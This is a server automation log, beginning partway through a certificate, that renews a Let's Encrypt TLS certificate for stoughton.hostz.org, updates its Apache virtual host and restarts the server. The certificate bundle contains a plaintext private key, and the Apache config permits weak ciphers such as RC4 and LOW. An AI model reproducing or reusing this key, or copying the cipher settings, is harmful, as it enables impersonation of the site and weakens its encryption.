hP6kzQejllqMCIt52HOjxDGWafS7Xw+DKwqmH+Eqy8dcbOuag/1AYlQoKNVK3F5q
Hh6tEDiMqQcLIibGKteE6iHo4A/bIScbzrhXUYuism42ZYzmc48FMVIH3qy4L84E
TdAH2gtxw0PAhvRVXp8HP7wfngpzsN/8xOTpeRSbM4+Qbc56G6+Bifmv6sk1ieQb
NA3wJdl4DDUuQSV8hBgx6zoI1ZSGORprDFux7c6rhc77QZMSRrEgomBeklervEve
86ylWmZ3WWHV6RLMi8xNvjd71r4EPIGgY7BZU/VPBkq+uA7Gb6mbJnFgV43uh3xy
LRFgxIAphIukwTGSMZZR+AI+Qnp0BYTWovHXozOf3H8r6hozEoT02JHn0AeTfA==
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----






2026-06-24 06:00:01: Establishing a connection
2026-06-24 06:00:02: Establishing a connection
2026-06-24 06:00:04: 

PUT: /tmp/pkp906465

#!/bin/bash
if [ -d "/var/www/hostz_stoughton/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-06-24 06:00:04: 

chmod 755 /tmp/pkp906465; /tmp/pkp906465; rm /tmp/pkp906465

2026-06-24 06:00:05: 


1


2026-06-24 06:00:07: Establishing a connection
2026-06-24 06:00:08: 

PUT: /tmp/pkp731073

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cat > nW1DbMGDNB86mrSD7cWPbGJomRY9gomebyaY3Qprajw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
nW1DbMGDNB86mrSD7cWPbGJomRY9gomebyaY3Qprajw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 nW1DbMGDNB86mrSD7cWPbGJomRY9gomebyaY3Qprajw


2026-06-24 06:00:09: 

chmod 755 /tmp/pkp731073; /tmp/pkp731073; rm /tmp/pkp731073

2026-06-24 06:00:09: 




2026-06-24 06:00:17: Establishing a connection
2026-06-24 06:00:18: 

PUT: /tmp/pkp852026

#!/bin/bash
mkdir -p "/var/www/hostz_stoughton/.well-known/acme-challenge/"
cd "/var/www/hostz_stoughton/.well-known/acme-challenge/"
rm nW1DbMGDNB86mrSD7cWPbGJomRY9gomebyaY3Qprajw


2026-06-24 06:00:18: 

chmod 755 /tmp/pkp852026; /tmp/pkp852026; rm /tmp/pkp852026

2026-06-24 06:00:19: 




2026-06-24 06:00:19: Establishing a connection
2026-06-24 06:00:20: 

PUT: /tmp/pkp233035

#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d

cat > $temp_file <<'endmsg'
c6:44:47:be:a6:ef:fe:7c:25:39:75:42:af:97:2c:6f

-----BEGIN CERTIFICATE-----
MIIE9zCCA9+gAwIBAgISBfpjVh2TjbWVPFEmjZY+Tk0zMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNZUjEwHhcNMjYwNjI0MDUwMTQ0WhcNMjYwOTIyMDUwMTQzWjAeMRwwGgYDVQQD
ExNzdG91Z2h0b24uaG9zdHoub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAo2hxa9BFNE74b/B6liP3e2uGvIWa0XjCVXraLhNnppOEiRaROgqTKL1L
uvXULd/2/zNZkOgc7fOE24Myp58/1jyinVi3bcOGwf+7ac3aSt1m1ihwUsb5oHyW
ZVMFlN/a5SGPVQpOt7bdHLiztt0/SzAuja/3vR9PYu8P+oixd5pedUs3wml1TyGq
B5x0OzmhV/pMriMoZojLpjy4wqsqU1RHHfTPVEBZhmn3DrWtBGemmBe0zP0sUglR
PvE5j/KPqQ5rONpyIMexYEcJRkDExQrNiKT/wT/TJzUCY1cCcUuaHmohxE7Qfe+7
GtNBYsdR01mYjriihvEHZXP1FrvirwIDAQABo4ICGDCCAhQwDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FB+UElCKnYAi3Zmzs7Ce5MUcDk1ZMB8GA1UdIwQYMBaAFB8vNb5GFILNQLGueSxV
ePr31Gj7MDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3lyMS5p
LmxlbmNyLm9yZy8wHgYDVR0RBBcwFYITc3RvdWdodG9uLmhvc3R6Lm9yZzATBgNV
HSAEDDAKMAgGBmeBDAECATAuBgNVHR8EJzAlMCOgIaAfhh1odHRwOi8veXIxLmMu
bGVuY3Iub3JnLzUyLmNybDCCAQMGCisGAQQB1nkCBAIEgfQEgfEA7wB2AMijxH/H
s625NWsBP2p6Em3jOk5DpcZG+ZetOXWZHc+aAAABnvg3ALcAAAQDAEcwRQIgIbE2
ZMAlh5AsGkYCJc8NPlLzwf2vI+KWc7NcxTZWF9YCIQCnWcGQUpDYn6ahc07+7h4c
VuypkClYrG8HC/CsAZCARgB1AMIxfldFGaNF7n843rKQQevHwiFaIr9/1bWtdprZ
DlLNAAABnvg3CEQAAAQDAEYwRAIgC4kYUD3eebUoePXaCnf69070LdzO3LZyLie6
jD5hJV4CIGtJRRSfCCIli/DYdHOQpnJYZih7/LEzNKTyr+Im9q/5MA0GCSqGSIb3
DQEBCwUAA4IBAQCKr/028IXvHBQXkliS5GXI41N8AZyyy/TkcPghiPRVYLMm4Z1t
2WTtTGPg/9NEisJeZSouoVbJ1EkeLmyknaVH912qxY6fEihXdLwpcJDVk0KHNFOP
eC2MzJCGOXEmGbH9PCy+TJ+nQzh2YhvXxeLspiX/j6cdwG2ztADERsRjjZ0W5Wvf
/JCNPWrjGvSX774RU1Lcmd6K+3Tis5FPvpUPKP7rjC4lMEu8tEojrUT330Y2Hdtz
g9079zP4hSnR8ippsKDMCvxL96uWdSFvwY7wZcSQHsEUgT9R6EAvCV+pXyg+jIZr
CLMuTljNF0egNFfXghFa7iALmclRz9kanqv0
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCjaHFr0EU0Tvhv
8HqWI/d7a4a8hZrReMJVetouE2emk4SJFpE6CpMovUu69dQt3/b/M1mQ6Bzt84Tb
gzKnnz/WPKKdWLdtw4bB/7tpzdpK3WbWKHBSxvmgfJZlUwWU39rlIY9VCk63tt0c
uLO23T9LMC6Nr/e9H09i7w/6iLF3ml51SzfCaXVPIaoHnHQ7OaFX+kyuIyhmiMum
PLjCqypTVEcd9M9UQFmGafcOta0EZ6aYF7TM/SxSCVE+8TmP8o+pDms42nIgx7Fg
RwlGQMTFCs2IpP/BP9MnNQJjVwJxS5oeaiHETtB977sa00Fix1HTWZiOuKKG8Qdl
c/UWu+KvAgMBAAECggEADjhz9mqk5c0hjbb4fsHD3c0ZEqWbODOG0KLlAzF+dF6j
dWgDXMZi0XQid7NrsvpUp8IzlIq+nxlG10ZETZYW8MaiGDNfndZwOch5lNbsnQCb
hx5JzXUHcFH8p0thpve8OEiCuBHc5oasGL3HgK3MaPdZIHd52yQzEmxfkEapEGa4
+JDGIcRXwqdT++hupYev1mSrJ75Fs2flCZOqD8rqmrWi6uV3AwsNr58NhIfWwZ7T
+NlyDEHPAg8WN31tglwpGSwMn9gOrSYeQwxGCRGG4QZu4I+qVjNlO60LImGMHg0J
X32KrbDkQiQInctEsRvrWppqoilk4HpoCWd63N99oQKBgQDg6YBE45YhDrtgHkPH
9IWhqmyk/ro2Wl4Y0vwdGwivWo+E5V+R9NtCSHpOWDbgAo53ePUWPb8W8s4NBh31
7McBP/KM8Ik9/nOaw12/5ugUpPmE8u/yOPmZ8z6q10vb8z2k6r/ksU4KAqzjpg9V
EJVAv6z5BC2XZd5ZmFmpDhzTuQKBgQC5/p9oauiRAy+ea9s04YuCj+A8VEl9ia+w
37qnh3PPnRm6zk478YLNcu2psGtxKiy4Zcg1Y9RGdA3rUl3MKQj9CisULjFe/bIb
Kzxd7gs3kQgZ6yVY6ryCMw1Y3A9JlNWyU/Ee+aWRtYKTYv7hrl0yROE0PNRH4XTt
IQBe7ghtpwKBgDdfZZQQUBrtbJZafSeSfP/zXHI2wJO3JemIsEdeK4I4kpMOgbwG
g6DLBUmakFAQcRDa98Q1CYHV34L3WZL9a3VUUBwA8FkR91ZH+SHQ8Jx8jW38/bQt
8M3FRE19WhDZzvh2Ty43tNXkGLqnXKj9vzFEv4pDTBI1I0v9pT1o2xIJAoGAHimQ
qFpOBNZDbqmHDvhUq4OxlZcFo/okJ8bgejKZMV4EwiqavVXZJIAy0oXtpph0UCMR
aLcbwaEocLUWyPkOoBp6CffDwefablWAoKrt3sECU1Gy6MyIbYTh8Tser4wXa6f5
PlC17P9GgahYNTkVnAVXkCUdN9r0H1BuwvZPH5kCgYACggGUELoifj+XfNCMmNfW
NRICqVkP7bQbIo64y6OXE50lbUkRF+z7g/YQw4DuL4C9PTckj4udUJYem1c13GWS
icw3F9Ll8EFhWJdNFuxdJIUN3bIPwQX76UhjCrPwpK6FsiPFK/6gN+L0LBkP/JN0
J+esIZTwnTkwgaEaHoXgzQ==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
MIIF9DCCA9ygAwIBAgIRAPJLbRf52a18scn+p4eCaZ8wDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjYwNTEzMDAwMDAw
WhcNMzIwOTAyMjM1OTU5WjAuMQswCQYDVQQGEwJVUzENMAsGA1UEChMESVNSRzEQ
MA4GA1UEAxMHUm9vdCBZUjCCAiIwDQYJKoZIhvcNAQEBBQADggIPADCCAgoCggIB
ANvGJnN78CTJdWL3+eGfsLN5TrNBJs+VH9hRXqRbwxu9sGNiB0BD1fcOxbSUQCJI
M1xE13Db+5Cw1w0s0EBYsvuIP/6joF0w8cuImbgR1OGgYbSQ4OpzI+DG8SGuTlcE
873OCS+kh3srlo6vl43M5OJg4Aeo1sfHp6kTJDoIiFBNJAY+OKfX/FUvYKuhjT+n
o49lmqmupSBI5PkBQiqrEGtWU5uxU/cQWHGu8jSjFBznZqvbNPLMXMLFxCb3WTfr
JBXXjqvWG+v4bjzxjjeAtOlU7qarRDvNOyAuQYLln904M+faKx8hnLCpJ15ZqaEg
cNlY+9MMWcC5yvL2A2j3l9+2buggZX+dOE91zYmIdawTvSZuVvlbRrAlLxIB6pwM
BjneXCjYQ8+3BCCjssbSNpZU3hTcBDdhfAlEDlYr6pEatnMdmDT5BqnKC92bd0Eh
M1fbLHioLccLCuievT8ZkPhZrq7Mii7gNXAcUEAR8+lzYal+9zTg7C5DALyVOeG/
CqfRAMn1KSHCR0NSA6P8tn/mGRlnCct5rtVCLnVySVpU6H1qGg3DgTOuskf8eahT
MiYbI5ezPJmO5ertalskQ1utp74+eDy92PI4ftHKTbq9IWhH4YZKh3WnJEIt+oQv
lYZbY8tpEroKrFB6PFGzrJIDRyts4HqvuH52RFj2zv/BAgMBAAGjgeswgegwDgYD
VR0PAQH/BAQDAgEGMBMGA1UdJQQMMAoGCCsGAQUFBwMBMA8GA1UdEwEB/wQFMAMB
Af8wHQYDVR0OBBYEFN7nW2DQIm1AKH0/DQH+pLVStFGUMB8GA1UdIwQYMBaAFHm0
WeZ7tuXkAXOACIjIGlj26ZtuMDIGCCsGAQUFBwEBBCYwJDAiBggrBgEFBQcwAoYW
aHR0cDovL3gxLmkubGVuY3Iub3JnLzATBgNVHSAEDDAKMAgGBmeBDAECATAnBgNV
HR8EIDAeMBygGqAYhhZodHRwOi8veDEuYy5sZW5jci5vcmcvMA0GCSqGSIb3DQEB
CwUAA4ICAQA8spSI95KKfn2W6GMmDpHBJSPaLbsS3W93cijJCRCYAc1fsJgL1FIL
7C0C9ecPOdcwB2fi0Dk2p94j9iTJCxmt5CFSKLRWwnXT2MMSXexVxqoVB79BdWPx
VXETkVme/qYSAuKVHh5Ps+5BixgmwS1JkjSAc+MfrUbNssVEEnH0aEiAh+rotXAV
JSP/Ye7LJPEwD9DWG72vVWbhAcuOf5OLjz57Ctk7MgQHynZ7+PlHJtajroCaIbtC
r6tcZZaAwUQm+jQyeWdV+2hv9deOYFmKeQyjjcSrN5Nadrw+L9DZJLbA1HqeNvLh
BgqpP0fvJq2N6EtD574N6eMI7uMsJTnji2UDz9el5XLSv9fqJMuDQtYVb2oTNoKp
oUqhxPVC0aq4eG5MESaIdn8b5ZGSSeAJLMHXljEdlNza+ncfkviXk1POLnnFdvx8
/gk6M374WbLWFXw8N141B/Rl/tINGfl1TxOIiqtiMYkL02RSGb1kq34BL9NPP27z
RGMuHGnzS3hFIrRTfKxrzUZ9RzQWzEG3K6fJ3r2nqSltkeytis9DIBoFY9VmVyjL
M71DMi+y1+TRSJVClEMwvA4yL++7q9XZx5r5wBRWB4kQTKH5qyoZnDw7iiuh1lID
yDFx8r7i9vIJU5HS3moZLkYWAOilMaV9N56A9Bgb6dNcHkvg3NoaYA==
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-06-24 06:00:20: 

chmod 755 /tmp/pkp233035; /tmp/pkp233035; rm /tmp/pkp233035

2026-06-24 06:00:21: 


dir=/etc/ssl/certs


2026-06-24 06:00:21: 

PUT: /tmp/pkp333436

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hostz_stoughton_us.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-06-24 06:00:21: 

chmod 755 /tmp/pkp333436; /tmp/pkp333436; rm /tmp/pkp333436

2026-06-24 06:00:21: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_stoughton_us.conf 42
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>






2026-06-24 06:00:21: 

PUT: /tmp/pkp554940

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_stoughton_us.conf
TARGET=/etc/apache2/sites-enabled/hostz_stoughton_us.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
ServerName	stoughton.hostz.org

<VirtualHost *:80>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/stoughton_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py index.php
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	stoughton.hostz.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
    DocumentRoot	/var/www/hostz_stoughton
    <Directory /var/www/hostz_stoughton>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
        Require	all granted
    </Directory>
    
    <Location /server-status>
        SetHandler	server-status
        AuthType	Basic
        AuthName	"Server Status"
        AuthUserFile	/var/www/hostz_stoughton/.htpasswd
        require	valid-user
    </Location>
    
    CustomLog	/var/log/apache2/pjy/stoughton_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/stoughton_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hostz_stoughton_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hostz_stoughton_us.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_stoughton_us.conf= 1'
fi


2026-06-24 06:00:22: 

chmod 755 /tmp/pkp554940; /tmp/pkp554940; rm /tmp/pkp554940

2026-06-24 06:00:22: 




2026-06-24 06:00:22: 

PUT: /tmp/pkp848039

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-06-24 06:00:22: 

chmod 755 /tmp/pkp848039; /tmp/pkp848039; rm /tmp/pkp848039

2026-06-24 06:00:23: 


.


2026-06-24 06:00:23: Establishing a connection
2026-06-24 06:00:24: 

PUT: /tmp/pkp226353

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-06-24 06:00:25: 

chmod 755 /tmp/pkp226353; /tmp/pkp226353; rm /tmp/pkp226353

2026-06-24 06:00:25: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost pluto.hostz.org (/etc/apache2/sites-enabled/hostz_pluto_org.conf:30)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:25)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-06-24 06:00:25: 

PUT: /tmp/pkp320355

